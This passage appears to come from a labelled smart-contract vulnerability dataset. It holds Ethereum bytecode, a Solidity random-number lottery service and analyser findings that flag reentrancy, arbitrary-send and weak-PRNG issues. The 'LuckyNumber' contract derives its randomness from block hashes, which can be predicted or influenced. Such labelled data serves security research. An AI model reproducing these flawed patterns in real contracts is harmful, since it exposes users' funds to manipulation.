ffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122053723a02fa93d37315226e7a2f7698b98d0d96595cc645fa2eaad650035d2a0264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,882 |
0x253526a4c4da7f77166033481f14ccc2ca18a606
|
pragma solidity ^0.4.11;//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM //
// MMMMWKkk0KNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM //
// MMMMXl.....,cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,.....dNMMMM //
// MMMWd. .'cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0d:'. .xMMMM //
// MMMK, ...... ..:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ..... :XMMM //
// MMWd. .;;;,,'.. .'lkXNWWNNNWMMMMMMMMMMWNNWWWNKkc.. ...',;;;,. .kMMM //
// MMNc .,::::::;,'.. ..,;;,,dNMMMMMMMMMMXl,;;;,.. ..';;::::::'. .lWMM //
// MM0' .;:::::::;;'.. ;0MMMMMMMMMMMWO' ..,;;:::::::;. ;KMM //
// MMx. .';::::;,'... .:0MMMMMMMMMMMMMWO;. ...';;::::;.. .OMM //
// MWd. .,:::;'.. .,xNMMMMMMMMMMMMMMMMXd'. ..,;:::'. .xMM //
// MNl. .,:;'.. .,ckNMMMMMMMMMMMMMMMMMMMMXxc'. ..';:,. .dWM //
// MNc .,,.. .;:clox0NWXXWMMMMMMMMMMMMMMMMMMWXXWXOxolc:;. ..,'. .oWM //
// MNc ... .oWMMMNXNMW0odXMMMMMMMMMMMMMMMMKooKWMNXNMMMNc. ... .oWM //
// MNc. ;KMMMMNkokNMXlcKMMMMMMMMMMMMMM0coNMNxoOWMMMM0, .oWM //
// MNc .;0MMMMMMWO:dNMNoxWMMMMMMMMMMMMNddNMNocKMMMMMMWO, .oWM //
// MX: .lXMMMMMMMMM0lOMMNXWMMMMMMMMMMMMWXNMMklKMMMMMMMMM0:. .lNM //
// MX; .;kWMMMMMMMMMMMXNMMMMMMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMNx,. cNM //
// MO. .:kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx:. . ,0M //
// Wl..':dKWMMMMMMMWNK000KNMMMMMMMMMMMMMMMMMMMMMMMMMWNK000KNMMMMMMMMW0o;...dW //
// NxdOXWMMMMMMMW0olcc::;,,cxXWMMMMMMMMMMMMMMMMMMWKd:,,;::ccld0WMMMMMMMWKkokW //
// MMMMMMMMMMMWOlcd0XWWWN0x:.,OMMMMMMMMMMMMMMMMMWk,'cxKNWWWXOdcl0MMMMMMMMMMMM //
// MMMMMMMMMMMWKKWMMMMMMMMMWK0XMMMMMMMMMMMMMMMMMMXOXWMMMMMMMMMN0XMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWK0OOOO0KWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo.......'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMNKOkkkk0XNMMMMMMMMMMMMMMMMMMWO;. .:0WMMMMMMMMMMMMMMMMMWNKOkkkkOKNMMM //
// MMWXOkxddoddxxkKWMMMMMMMMMMMMMMMMXo...'dNMMMMMMMMMMMMMMMMN0kxxdodddxk0XMMM //
// MMMMMMMMMMMMWNKKNMMMMMMMMMMMMMMMMWOc,,c0WMMMMMMMMMMMMMMMMXKKNWMMMMMMMMMMMM //
// MMMMMMMMWXKKXXNWMMMMMMMMMMWWWWWX0xcclc:cxKNWWWWWMMMMMMMMMMWNXXKKXWMMMMMMMM //
// MMMWXOxdoooddxkO0NMMMMMMMWKkfoahheitNX0GlikkdakXMMMMMMMWX0OkxddooddxOXWMMM //
// MMMWXKKNNWMMMMMWWWMMMMMMMMMWNXXXNWMMMMMMWXXXXNWMMMMMMMMMWWWMMMMWWNXKKNWMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Lucky* MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMM> *~+> we are the MMMMMMMMMMMM Number MMMMMMM> we are the <+~* <MMMMMMM //
// MMMMMMMMMM> music <MMMMMMMMMMMMMM ------ MMMMMMMMMM> dreamer <MMMMMMMMMMMM //
// MMMMMMMM> *~+> makers <MMMMM<MMMM Random MMMMMMMMMMMMM> of <MMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Ledger MMMMMMMMMMMMMM> dreams. <+~* <MMM //
// M> palimpsest by <MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// ~> arkimedes.eth <~+~+~+~~+~+~+~~+~+~+~~+~+~+~~+~+~+~~> VIII*XII*MMXVII <~ //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
/**
* Manages contract ownership.
*/
contract Owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
/**
* Function to recover the funds on the contract
*/
contract Mortal is Owned {
function kill() onlyOwner {
selfdestruct(owner);
}
}
/**
* SafeMath
* Math operations with safety checks that throw on error.
* Taking ideas from FirstBlood token. Enhanced by OpenZeppelin.
*/
contract SafeMath {
function mul(uint256 a, uint256 b)
internal
constant
returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
constant
returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b)
internal
constant
returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
constant
returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* Random number generator from mined block hash.
*/
contract Random is SafeMath {
// Generates a random number from 1 to max based on the last block hash.
function getRandomFromBlockHash(uint blockNumber, uint max)
public
constant
returns(uint) {
// block.blockhash(uint blockNumber)
// returns
// (bytes32):
// hash of the given block
// !! only works for 256 most recent blocks excluding current !!
return(add(uint(sha3(block.blockhash(blockNumber))) % max, 1));
}
}
/**
* LuckyNumber is the main public interface for a random number ledger.
* To make a request:
* Step 1: Call requestNumber with the `cost` as the value
* Step 2: Wait waitTime in blocks past the block which mines transaction for requestNumber
* Step 3: Call revealNumber to generate the number, and make it publicly accessable in the UI.
* this is required to create the Events which generate the Ledger.
*/
contract LuckyNumber is Owned {
// ~> cost to generate a random number in Wei.
uint256 public cost;
// ~> waitTime is the number of blocks before random is generated.
uint8 public waitTime;
// ~> set default max
uint256 public max;
// PendingNumber represents one number.
struct PendingNumber {
address requestProxy;
uint256 renderedNumber;
uint256 originBlock;
uint256 max;
// block to wait
// this will also be used as
// an active bool to save some storage
uint8 waitTime;
}
// for Number Ledger
event EventLuckyNumberRequested(address indexed requestor, uint256 max, uint256 originBlock, uint8 waitTime, address indexed requestProxy);
event EventLuckyNumberRevealed(address indexed requestor, uint256 originBlock, uint256 renderedNumber, address indexed requestProxy);
mapping (address => PendingNumber) public pendingNumbers;
mapping (address => bool) public whiteList;
function requestNumber(address _requestor, uint256 _max, uint8 _waitTime) payable public;
function revealNumber(address _requestor) payable public;
}
/**
* Lucky Number Service *~+>
* Any contract or address can make a request from this implementation
* on behalf of any other address as a requestProxy.
*/
contract LuckyNumberService is LuckyNumber, Mortal, Random {
// Initialize state +.+.+.
function LuckyNumberService() {
owned();
// defaults
cost = 20000000000000000; // 0.02 ether // 20 finney
max = 15; // generate number between 1 and 15
waitTime = 3; // 3 blocks
}
// Let owner customize defauts.
// Allow the owner to set max.
function setMax(uint256 _max)
onlyOwner
public
returns (bool) {
max = _max;
return true;
}
// Allow the owner to set waitTime. (in blocks)
function setWaitTime(uint8 _waitTime)
onlyOwner
public
returns (bool) {
waitTime = _waitTime;
return true;
}
// Allow the owner to set cost.
function setCost(uint256 _cost)
onlyOwner
public
returns (bool) {
cost = _cost;
return true;
}
// Allow the owner to set a transaction proxy
// which can perform value exchanges on behalf of this contract.
// (unrelated to the requestProxy which is not whiteList)
function enableProxy(address _proxy)
onlyOwner
public
returns (bool) {
whiteList[_proxy] = true;
return whiteList[_proxy];
}
function removeProxy(address _proxy)
onlyOwner
public
returns (bool) {
delete whiteList[_proxy];
return true;
}
// Allow the owner to cash out the holdings of this contract.
function withdraw(address _recipient, uint256 _balance)
onlyOwner
public
returns (bool) {
_recipient.transfer(_balance);
return true;
}
// Assume that simple transactions are trying to request a number,
// unless it is from the owner.
function () payable public {
assert(msg.sender != owner);
requestNumber(msg.sender, max, waitTime);
}
// Request a Number ... *~>
function requestNumber(address _requestor, uint256 _max, uint8 _waitTime)
payable
public {
// external requirement:
// value must exceed cost
// unless address is whitelisted
if (!whiteList[msg.sender]) {
require(!(msg.value < cost));
}
// internal requirement:
// request address must not have pending number
assert(!checkNumber(_requestor));
// set pending number
pendingNumbers[_requestor] = PendingNumber({
requestProxy: tx.origin, // requestProxy: original address that kicked off the transaction
renderedNumber: 0,
max: max,
originBlock: block.number,
waitTime: waitTime
});
if (_max > 1) {
pendingNumbers[_requestor].max = _max;
}
// max 250 wait to leave a few blocks
// for the reveal transction to occur
// and write from the pending numbers block
// before it expires
if (_waitTime > 0 && _waitTime < 250) {
pendingNumbers[_requestor].waitTime = _waitTime;
}
EventLuckyNumberRequested(_requestor, pendingNumbers[_requestor].max, pendingNumbers[_requestor].originBlock, pendingNumbers[_requestor].waitTime, pendingNumbers[_requestor].requestProxy);
}
// Reveal your number ... *~>
// Only requestor or proxy can generate the number
function revealNumber(address _requestor)
public
payable {
assert(_canReveal(_requestor, msg.sender));
// waitTime has passed, render this requestor's number.
_revealNumber(_requestor);
}
// Internal implementation of revealNumber().
function _revealNumber(address _requestor)
internal {
uint256 luckyBlock = _revealBlock(_requestor);
//
// TIME LIMITATION ~> should handle in user interface
// blocks older than (currentBlock - 256)
// "expire" and read the same hash as most recent valid block
//
uint256 luckyNumber = getRandomFromBlockHash(luckyBlock, pendingNumbers[_requestor].max);
// set new values
pendingNumbers[_requestor].renderedNumber = luckyNumber;
// event
EventLuckyNumberRevealed(_requestor, pendingNumbers[_requestor].originBlock, pendingNumbers[_requestor].renderedNumber, pendingNumbers[_requestor].requestProxy);
// zero out wait blocks since this is now inactive (for state management)
pendingNumbers[_requestor].waitTime = 0;
}
function canReveal(address _requestor)
public
constant
returns (bool, uint, uint, address, address) {
return (_canReveal(_requestor, msg.sender), _remainingBlocks(_requestor), _revealBlock(_requestor), _requestor, msg.sender);
}
function _canReveal(address _requestor, address _proxy)
internal
constant
returns (bool) {
// check for pending number request
if (checkNumber(_requestor)) {
// check for no remaining blocks to be mined
// must wait for `pendingNumbers[_requestor].waitTime` to be excceeded
if (_remainingBlocks(_requestor) == 0) {
// check for ownership
if (pendingNumbers[_requestor].requestProxy == _requestor || pendingNumbers[_requestor].requestProxy == _proxy) {
return true;
}
}
}
return false;
}
function _remainingBlocks(address _requestor)
internal
constant
returns (uint) {
uint256 revealBlock = add(pendingNumbers[_requestor].originBlock, pendingNumbers[_requestor].waitTime);
uint256 remainingBlocks = 0;
if (revealBlock > block.number) {
remainingBlocks = sub(revealBlock, block.number);
}
return remainingBlocks;
}
function _revealBlock(address _requestor)
internal
constant
returns (uint) {
// add wait block time
// to creation block time
// then subtract 1
return add(pendingNumbers[_requestor].originBlock, pendingNumbers[_requestor].waitTime);
}
function getNumber(address _requestor)
public
constant
returns (uint, uint, uint, address) {
return (pendingNumbers[_requestor].renderedNumber, pendingNumbers[_requestor].max, pendingNumbers[_requestor].originBlock, _requestor);
}
// is a number request pending for the address
function checkNumber(address _requestor)
public
constant
returns (bool) {
if (pendingNumbers[_requestor].renderedNumber == 0 && pendingNumbers[_requestor].waitTime > 0) {
return true;
}
return false;
}
// 0xMMWKkk0KN/>HBBi/MASSa/DANTi/LANTen.MI.MI.MI.M+.+.+.M->MMWNKOkOKWJ.J.J.M*~+>
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,883 |
0xed78ee00d8d22062854e83ece60b7c4f34bc3054
|
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
